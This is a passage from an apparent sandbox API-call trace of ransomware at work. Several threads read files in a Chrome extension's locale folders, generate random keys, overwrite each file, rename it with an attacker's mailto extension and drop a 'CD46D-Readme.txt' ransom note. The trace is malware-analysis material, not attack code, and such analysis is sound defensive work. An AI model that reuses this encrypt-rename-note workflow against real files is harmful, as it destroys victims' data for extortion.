HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0202.098] WriteFile (in: hFile=0x1094, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x39cf764, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x39cf764*=0x6fd, lpOverlapped=0x0) returned 1 [0202.099] CloseHandle (hObject=0x1094) returned 1 [0202.099] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a67f0) returned 1 [0202.099] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a3f50) returned 1 Thread: id = 8466 os_tid = 0x1b70 [0194.257] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json")) returned 0x2020 [0194.839] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json", dwFileAttributes=0x20) returned 1 [0199.500] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x179c [0199.500] GetFileSizeEx (in: hFile=0x179c, lpFileSize=0x4bfb6c | out: lpFileSize=0x4bfb6c*=216) returned 1 [0199.500] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9cb0 [0199.500] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9bc0 [0199.500] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9918 [0199.500] NtQuerySystemTime (in: CurrentTime=0x4bfacc | out: CurrentTime=0x4bfacc*=132174899740942000) returned 0x0 [0199.500] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x56e11ccf [0199.500] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x3e13443d [0199.500] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x3c83cb99 [0199.500] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x415905ae [0199.500] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x6c29b3b7 [0199.500] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x54f60649 [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x39a01300 [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x6e98108d [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x4b7564a3 [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x7bd8708a [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x253bda31 [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x6e49173c [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x7173037a [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x4ebe3553 [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x658977be [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x75ff937 [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x5518b000 [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x99842f8 [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x4828774a [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x5336fe5a [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x245cac18 [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x3158e66e [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x681ee4ff [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x6579e790 [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x770cd284 [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x3d67220f [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x54edd740 [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x43c425cc [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x7d0471d2 [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x505aabc3 [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x2fb87997 [0199.501] RtlRandomEx (in: Seed=0x4bfad8 | out: Seed=0x4bfad8) returned 0x79bbb67 [0199.513] ReadFile (in: hFile=0x179c, lpBuffer=0x10ea6048, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x4bfac8, lpOverlapped=0x0 | out: lpBuffer=0x10ea6048*, lpNumberOfBytesRead=0x4bfac8*=0xd8, lpOverlapped=0x0) returned 1 [0199.514] SetFilePointerEx (in: hFile=0x179c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.514] WriteFile (in: hFile=0x179c, lpBuffer=0x13310048*, nNumberOfBytesToWrite=0xd8, lpNumberOfBytesWritten=0x4bfac4, lpOverlapped=0x0 | out: lpBuffer=0x13310048*, lpNumberOfBytesWritten=0x4bfac4*=0xd8, lpOverlapped=0x0) returned 1 [0201.095] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5af8 [0201.095] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5b70 [0201.095] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b70) returned 1 [0201.095] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13310048) returned 1 [0201.095] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10ea6048) returned 1 [0201.098] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb4d8) returned 1 [0201.098] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2ae8) returned 1 [0201.098] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x938270 [0201.098] SetFilePointerEx (in: hFile=0x179c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.098] WriteFile (in: hFile=0x179c, lpBuffer=0x12cf51a8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x4bfb2c, lpOverlapped=0x0 | out: lpBuffer=0x12cf51a8*, lpNumberOfBytesWritten=0x4bfb2c*=0x10b, lpOverlapped=0x0) returned 1 [0201.599] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf51a8) returned 1 [0201.599] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9382a0) returned 1 [0201.599] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b70) returned 1 [0201.600] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938270) returned 1 [0201.600] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5af8) returned 1 [0201.600] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9bc0) returned 1 [0201.600] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9b20) returned 1 [0201.600] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9968) returned 1 [0201.600] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c6cc0 [0201.600] wcscpy (in: _Dest=0xd4c6cc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json" [0201.600] wcscat (in: _Dest=0xd4c6cc0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0201.600] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x4bfae4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.600] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c96d0 [0201.792] FlushFileBuffers (hFile=0x179c) returned 1 [0201.799] CloseHandle (hObject=0x179c) returned 1 [0201.913] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b6328 [0201.914] wcscpy (in: _Dest=0x9b6328, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\" [0201.914] wcscat (in: _Dest=0x9b6328, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\CD46D-Readme.txt" [0201.914] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\cd46d-readme.txt")) returned 0xffffffff [0201.914] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14b8 [0202.040] WriteFile (in: hFile=0x14b8, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x4bfaec, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x4bfaec*=0x6fd, lpOverlapped=0x0) returned 1 [0202.041] CloseHandle (hObject=0x14b8) returned 1 [0202.041] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b6328) returned 1 [0202.041] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd498060) returned 1 Thread: id = 8467 os_tid = 0x1b74 [0194.258] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json")) returned 0x2020 [0194.840] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json", dwFileAttributes=0x20) returned 1 [0199.515] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x11c0 [0199.515] GetFileSizeEx (in: hFile=0x11c0, lpFileSize=0x38afb4c | out: lpFileSize=0x38afb4c*=266) returned 1 [0199.515] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x106, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.515] ReadFile (in: hFile=0x11c0, lpBuffer=0x38afad0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38afacc, lpOverlapped=0x0 | out: lpBuffer=0x38afad0*, lpNumberOfBytesRead=0x38afacc*=0x4, lpOverlapped=0x0) returned 1 [0199.516] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.516] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9cb0 [0199.516] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9918 [0199.516] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9c88 [0199.516] NtQuerySystemTime (in: CurrentTime=0x38afaac | out: CurrentTime=0x38afaac*=132174899741098000) returned 0x0 [0199.516] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x2ed709d6 [0199.516] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x221a4bb [0199.516] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x2f66c10a [0199.516] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x6f2cf137 [0199.516] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x6e66b766 [0199.516] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x1b611b8c [0199.516] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x7f336c0b [0199.516] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x2c2a8a4c [0199.516] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x5c9d4f6 [0199.516] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x46ca1ed2 [0199.516] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x6b38e96 [0199.516] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x22763f9a [0199.516] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x5c559459 [0199.516] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x5b711f89 [0199.516] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x4e1a9347 [0199.516] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x58282282 [0199.517] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x599fec02 [0199.517] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x5ef8a440 [0199.517] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x54c2fe80 [0199.517] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x39072a1b [0199.517] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0xd5058a2 [0199.517] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x46b03330 [0199.517] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x6bfd98b5 [0199.517] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x7548a6cf [0199.517] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x2641c15 [0199.517] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x35affeee [0199.517] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x624c7167 [0199.517] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x5bc43f41 [0199.517] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x2af5a35c [0199.517] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x61d02a2c [0199.517] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x22d0df30 [0199.517] RtlRandomEx (in: Seed=0x38afab8 | out: Seed=0x38afab8) returned 0x132c0fe8 [0199.528] ReadFile (in: hFile=0x11c0, lpBuffer=0x1331c850, nNumberOfBytesToRead=0x10a, lpNumberOfBytesRead=0x38afaa8, lpOverlapped=0x0 | out: lpBuffer=0x1331c850*, lpNumberOfBytesRead=0x38afaa8*=0x10a, lpOverlapped=0x0) returned 1 [0199.528] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.528] WriteFile (in: hFile=0x11c0, lpBuffer=0x13329058*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x38afaa4, lpOverlapped=0x0 | out: lpBuffer=0x13329058*, lpNumberOfBytesWritten=0x38afaa4*=0x10a, lpOverlapped=0x0) returned 1 [0201.089] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5cb0 [0201.089] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5c88 [0201.089] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5c88) returned 1 [0201.089] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13329058) returned 1 [0201.089] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1331c850) returned 1 [0201.089] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb550) returned 1 [0201.089] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d28a8) returned 1 [0201.089] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x938030 [0201.089] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.089] WriteFile (in: hFile=0x11c0, lpBuffer=0x12cf54f0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x38afb0c, lpOverlapped=0x0 | out: lpBuffer=0x12cf54f0*, lpNumberOfBytesWritten=0x38afb0c*=0x10b, lpOverlapped=0x0) returned 1 [0201.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf54f0) returned 1 [0201.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938060) returned 1 [0201.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5c88) returned 1 [0201.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938030) returned 1 [0201.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5cb0) returned 1 [0201.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9918) returned 1 [0201.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9a80) returned 1 [0201.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af078) returned 1 [0201.752] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x943f50 [0201.752] wcscpy (in: _Dest=0x943f50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json" [0201.752] wcscat (in: _Dest=0x943f50, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0201.753] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x38afac4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.753] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c9538 [0201.953] FlushFileBuffers (hFile=0x11c0) returned 1 [0201.958] CloseHandle (hObject=0x11c0) returned 1 [0201.996] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0xd4a6af8 [0201.996] wcscpy (in: _Dest=0xd4a6af8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\" [0201.996] wcscat (in: _Dest=0xd4a6af8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\CD46D-Readme.txt" [0201.996] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\cd46d-readme.txt")) returned 0xffffffff [0201.996] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf24 [0202.004] WriteFile (in: hFile=0xf24, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x38afacc, lpOverlapped=0x0 | out: 